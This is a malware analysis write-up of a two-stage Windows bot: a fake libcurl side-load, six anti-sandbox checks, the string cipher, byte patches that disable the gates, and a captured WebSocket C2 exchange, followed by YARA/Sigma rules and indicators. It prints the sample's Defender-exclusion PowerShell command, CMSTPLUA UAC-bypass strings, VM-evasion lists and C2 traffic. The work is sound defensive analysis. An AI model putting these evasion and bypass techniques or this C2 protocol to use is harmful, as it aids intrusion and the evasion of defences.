This analysis was run on my local llm with my "malbox" mcp, this is just to demonstrate the art of possible. Since all of the news headlines are about the big US AI companies who AI escaped their "sandbox". I figure it would put mine to some good use.
TL:DR
- A two-stage Windows intrusion chain ships as a fake
libcurl.dllthat a legit-looking host process side-loads. The export the host calls iscurl_easy_init, and it refuses to run unless it is already running with administrator rights. - Stage 2 is a 608 KB x64 bot that refuses to run on virtualised, headless or sandbox hardware. Six anti-analysis checks run from the binary's static initialisers and call
ExitProcess(0)on any hit. A typical sandbox detonation therefore ends in a silent two-second exit with zero network traffic which is exactly how this sample was previously written off as inert. - We reversed its string obfuscation (a small rotation/XOR cipher), recovered all 216 strings, then patched the six gates out with a single
retbyte each. On the same VMware guest it now installed itself and beaconed within seconds. - Its C2 is a raw-socket WebSocket on TCP 406 the two suspicious strings
406and408in the binary are ports, not HTTP status codes with a 64-name fallback DGA built from six chunks of{lav|ini}underduckdns[.]org. - With a listener that completes the WebSocket handshake, the bot registered itself as
ready;<c: volume serial>;version;1.0.0, answeredgetinfo;with the host's antivirus product, Windows edition and user name, and repliedpongtoping. - The takeaway for triage: for this cluster, a silent sandbox run means "wrong hardware", not "harmless".
A loader that hides from the analyst, not just from the AV
The sample arrived as the now-familiar shape: a password-protected archive containing an EXE that is really a DLL, a fake lcurl.dll (1,257,984 bytes, bbe9c468…, PE32+ x64). The legitimate-looking host binary side-loads it and calls the one export it cares about, curl_easy_init. That export is a gatekeeper, and its first order of business is an administrator check: AllocateAndInitializeSid for the local Administrators alias, then CheckTokenMembership. Fail, and you get a MessageBoxA reading "run with administrator rights" and an ExitProcess.
Pass, and it decrypts an embedded payload, writes it to %TEMP% under a freshly randomised 12-character name on every run, and launches it. The stage-2 binary is byte-identical across runs (97bfd8a0…, 608,256 bytes) only the filename changes. One nice build detail: stage 2's compile timestamp is seven seconds before the loader's (17:48:16 vs 17:48:23 UTC on 2026-09-28), so both were built in one sitting.
That staged payload is where the interesting part starts.
Six gates, and the reason nothing ever happened
Stage 2 carries a set of anti-analysis checks, and the first thing to understand about them is when they run. They are not called from main. They are reached through jmp thunks in the initialiser pointer table at .rdata 0x906c0–0x90780, i.e. they execute as part of CRT static initialisation before any of the program's own logic. The suite itself lives at 0x46d0 and does Sleep(500), then calls six functions in sequence:
| RVA | What it looks for | How |
|---|---|---|
0x1500 | Display refresh rate below 50 Hz (headless / RDP / sandbox default) | EnumDisplaySettingsW(NULL, ENUM_CURRENT_SETTINGS, …), checks DEVMODEW.dmDisplayFrequency at offset 0xB8 |
0x1660 | Any of 21 VM/hypervisor driver modules present | GetModuleHandleA over VBoxGuest.sys, VBoxMouse.sys, VBoxSF.sys, VBoxVideo.sys, vboxdrv.sys, vmmouse.sys, vmhgfs.sys, vm3dmp.sys, vmci.sys, vmxnet.sys, qemupci*.sys, prl_*.sys, xen*.sys |
0x1ee0 | Any of 3 VM device paths openable | CreateFileA on \\.\VBoxMiniRdrDN, \\.\HGFS, \\.\prl_usb_mouse → CloseHandle + exit |
0x3190 | CPUID hypervisor vendor signature | leaf 1 hypervisor bit, then leaf 0x40000000 vs KVMKVMKVM, VMwareVMware, XenVMMXenVMM, prl hyperv , VBoxVBoxVBox, QEMU, KVM, VMware, Xen, prl, VBox, Hyper |
0x3a50 | Sandbox GPU adapter names | d3d9.dll / Direct3DCreate9 plus registry enumeration, matched against Microsoft Basic Render Driver, VMware SVGA II/3D, VirtualBox Graphics Adapter, QXL, Virtio GPU, Hyper-V Video, Parallels Display Adapter, Citrix Indirect Display Adapter, Standard VGA Graphics Adapter, and — the honest one — anyrun GPU |
0x4510 | CPUID brand string | leaves 0x80000002–4 vs Broadwell, G6900 |
Every one of them ends in ExitProcess(0). So on our VMware guest VMwareVMware on CPUID, VMware SVGA II for a GPU the process died roughly two seconds after launch (500 ms sleep included), before it ever touched the network. The DNS sinkhole, the HTTP emulator, the packet capture: none of it mattered. The sample was not failing to reach its C2; it was refusing to run in our house.
That is the whole reason this sample has a reputation for being inert. Automated analysis reports "exits, no behaviour" which is true, and useless.
Peeling the strings: a tiny cipher, 216 strings
Before patching anything we wanted to know what the binary would do once it did run, and that meant its strings. They are all encrypted, and the cipher turned out to be charmingly small. Two primitives, both operating bytewise with the index i:
keystream(i) = (i * 13 + 0x95) & 0xFFplaintext[i] = ror8(cipher[i], (i % 7) + 1) ^ keystream(i)The binary ships 54 unrolled decryptor loops one per string length in both a byte variant (ASCII strings) and a word variant for UTF-16, where only the low byte of each word is transformed. Each accessor decrypts its blob into a slot in the module TLS block and returns that pointer. Mapping every call site to its decryptor gave us all 216 strings at once, and the picture became clear:
C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exethe install path, masquerading as a Microsoft service componentGlobal\RuntimeBrokerAdsAa single-instance mutexmops[.]to, and a bare.duckdns[.]orgsuffix- the bot vocabulary:
ready;,;version;,ping,pong,getinfo,info;,task,checkserver; 1.0.0,406,408, and a ten-digit8533912863GET /task/%s HTTP/1.1and a WebSocket upgrade template with the RFC 6455 example key hardcoded (dGhlIHNhbXBsZSBub25jZQ==yes, they shipped the sample nonce)- a Defender exclusion command:
powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'" && gpupdate /force - injection targets (
winlogon,explorer.exe,smartscreen), ntdll natives for memory writes and thread creation, AMSI patching, and a CMSTPLUA UAC bypass (Elevation:Administrator!new:+ CLSID{3E5FC7F9-9A51-4367-9063-A120244FBEC7}) - Microsoft-lookalike persistence names:
MicrosoftUpdaterMachineCoreA,ProgramDataUpdateA,ScheduledDefA,SvcRestartTaskWindowsLoginsA
Two numbers stood out as odd: 406 and 408. We assumed HTTP status codes. We were wrong.
One byte per gate
The fix is almost disrespectful to the amount of work that went into those checks. Each gate function is entered with a stack-frame setup and returns void, so overwriting its first byte with 0xC3 (ret) removes it entirely:
| RVA | Patched byte |
|---|---|
0x1500, 0x1660, 0x1ee0, 0x3190, 0x4510 | 48 81 ec … → c3 81 ec … |
0x3a50 | 56 48 81 … → c3 48 81 … |
0x46d0 (the suite) | 48 83 ec 28 … → c3 83 ec 28 … |
Seven rets, 608 KB binary, and the same VMware guest that the sample was built to avoid becomes a perfectly acceptable home. We staged the patched copy in C:\analysis and ran it under the malbox agent with remnux standing in as the internet: a DNS sinkhole on the analysis network answering every query with its own IP, INetSim on 80, and a packet capture.
The first run did something new: it stayed alive. It copied itself to C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe byte-identical to the running image, certutil confirmed and then sat there. No DNS, no TCP, no persistence, no injection. Five minutes of nothing.
The second run answered the question. Running the installed copy rather than the staged one produced a beacon in about ten seconds:
09:34:29 192.168.174.128 A mops.toNET 09:34:30 192.168.174.50:406 SYN_SENT pid=3848Port 406. The "HTTP status codes" were the C2 ports, and the bot had been trying to reach mops[.]to:406 the entire time. With nothing listening there, it fell back to its DGA: 64 names built from six chunks of lav or ini appended to .duckdns[.]org, lavlavlavlavlavlav, lavlavlavlavlavini, … iniiniiniiniiniini queried in binary-counting order about three seconds apart, each followed by a WebSocket handshake attempt. The odd two-entry pointer table we had been staring at in .rdata was the fragment list all along.
Meeting the bot
A TCP listener that completes the WebSocket handshake is all it took to get the rest. The bot's own messages are the interesting part. (The captures that follow are shown verbatim hostnames undefanged as primary evidence.)
bot → c2 GET / HTTP/1.1 Host: mops.to Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13c2 → bot 101 Switching Protocolsbot → c2 ready;a2c9ad2f;version;1.0.0c2 → bot getinfo;bot → c2 info;Windows Defender;Windows 10 Enterprise;REM;8533912863c2 → bot pingbot → c2 pongReading that:
a2c9ad2fis the volume serial number of the system drive (A2C9-AD2F), lowercased the bot's install identifier. Same trick as a hundred other families, but derived from the volume serial rather than a GUID or MAC.8533912863the ten-digit mystery string is the last field of theinfo;reply: a campaign/group identifier baked into the build.- The
info;payload is exactly what the string table promised: AV product (via WMIAntiVirusProductunderROOT\SecurityCenter2), Windows product name and edition, and the user name. ready;and;version;bracket the version field, which is why those strings looked like fragments: the build assembles them.- Port 408 is referenced in the binary but never used by this build; 406 carried everything. The
GET /task/%sHTTP template also went unused in our window presumably a task-fetch path we did not provoke.
Everything is semicolon-delimited over binary WebSocket frames, and there is no User-Agent anywhere, because there is no HTTP stack: the bot talks raw sockets from ws2_32. That is why nothing showed up in the HTTP emulator until we got the port right.
Detection and hunting
The DNS and network side is the highest-fidelity place to catch this cluster, because mops[.]to and the {lav|ini} duckdns pattern are mechanical and specific:
- Alert on outbound TCP 406. This C2 will never appear in a web-proxy log on 80/443.
- Alert on DNS queries for
mops[.]to, and on any*.duckdns[.]orgname consisting of six lowercase chunks oflav/ini(all 64 are listed in our IOC file; the pattern is trivially matchable).
On the host:
C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exeandC:\ProgramData\Microsoft\Windows\legitimate Windows has noRuntimeBrokerunderProgramData.- The Defender exclusion command line above, and the resulting exclusions (
Get-MpPreference). - The mutex
Global\RuntimeBrokerAdsA. - Scheduled-task and COM names listed earlier, though note we did not observe them being created: in our run the bot beaconed first and the persistence stage never got the chance.
Two YARA rules fell straight out of the work. The first matches the encrypted string blobs as they sit on disk since the cipher is positional, the ciphertext of the install path and the two C2 strings is stable and would carry to sibling builds even if they change campaign IDs:
rule lcurl_cluster_stage2_blobs{ meta: description = "lcurl cluster stage 2: encrypted wide-string blobs" author = "f4n6.co.uk" date = "2026-09-29" strings: $install = { AD 00 62 00 9F 00 CE 00 77 00 6E 00 42 00 05 00 72 00 3B 00 35 00 A8 00 } $mops = { F1 00 37 00 FE 00 FC 00 FC 00 A8 00 46 00 E1 00 } $duck = { 77 00 1B 00 D6 00 FD 00 54 00 AC 00 C6 00 07 00 4F 00 2B 00 56 00 68 00 4C 00 } condition: uint16(0) == 0x5a4d and 2 of them}The second keys on the author's own section name, .strenc, plus the plaintext UAC-bypass strings:
rule lcurl_cluster_stage2_strenc{ meta: description = "lcurl cluster stage 2: PE32+ x64 with a .strenc section" condition: uint16(0) == 0x5a4d and pe.number_of_sections > 5 and for any i in (0..pe.number_of_sections - 1) : ( pe.sections[i].name == ".strenc" )}rule lcurl_cluster_uac_bypass_strings{ meta: description = "lcurl cluster stage 2: CMSTPLUA UAC bypass strings" strings: $a = "Elevation:Administrator!new:" wide ascii $b = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" wide ascii nocase $c = "Global\\RuntimeBrokerAdsA" wide ascii $d = "ProgramData\\Windows\\Microsoft" wide ascii nocase condition: uint16(0) == 0x5a4d and 2 of them}And a Sigma for the self-exclusion, which is a high-signal process-creation event:
title: Defender exclusion added for ProgramData Windows/Microsoft pathslogsource: category: process_creation product: windowsdetection: selection: CommandLine|contains|all: - 'Add-MpPreference' - 'ExclusionPath' - 'ProgramData\Windows\Microsoft' - 'ProgramData\Microsoft\Windows' condition: selectionlevel: highLessons
A silent sandbox result is a finding, not a verdict. This sample's entire design assumes the analyst gives up when nothing happens. The counter is cheap: when a PE reliably dies in under three seconds with exit code 0 and no syscalls worth mentioning, look for initialiser-resident checks and patch them out. Seven bytes of ret turned "inert" into a full C2 protocol capture, and the same guest that failed every check became a working lab.
The obfuscation only has to be good enough to make you lazy. The string cipher here is a rotation and an XOR trivially reversible once you read the two primitives but it hides the install path, the C2, and the protocol vocabulary from every string-based triage tool. Half a day of reversing it was worth more than any amount of sandbox time.
Attribution is still open. We found no public family name for this build. It is self-labelled 1.0.0 with campaign id 8533912863, matches the fake-libcurl DLL-sideload pattern we have seen before, and the DGA fragment table (lav/ini) looks like a placeholder the author never replaced — the names are nonsense, and half the space was never queried in our window. If you have seen mops[.]to:406 or a {lav|ini} duckdns name in your telemetry, we would like to hear about it.
Indicators
Hashes, defanged network indicators, paths and the full 64-name DGA list are in the accompanying technical report. The ones that matter most operationally:
- C2:
mops[.]toTCP 406 (WebSocket, path/); fallback 64 ×<lav|ini ×6>.duckdns[.]orgon 406 - Stage 1 (fake lcurl.dll): SHA-256
bbe9c46885ad9515f383f8df2346e778c272876153e137bc18f9d92e4145d2de, MD5c5999f3d393bc49eb59cfade2719cc74 - Stage 2 (bot): SHA-256
97bfd8a0a504f37a0527b11a378384eac6126d7afb7f5305fbf2363f5e9d614b, MD5a3c43649755ba086620c95b0ff62cf36 - Install path:
C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe - Mutex:
Global\RuntimeBrokerAdsA - Campaign id:
8533912863
Samples were handled in an isolated, host-only lab with a sinkholed resolver and emulated services; no traffic left the test network.
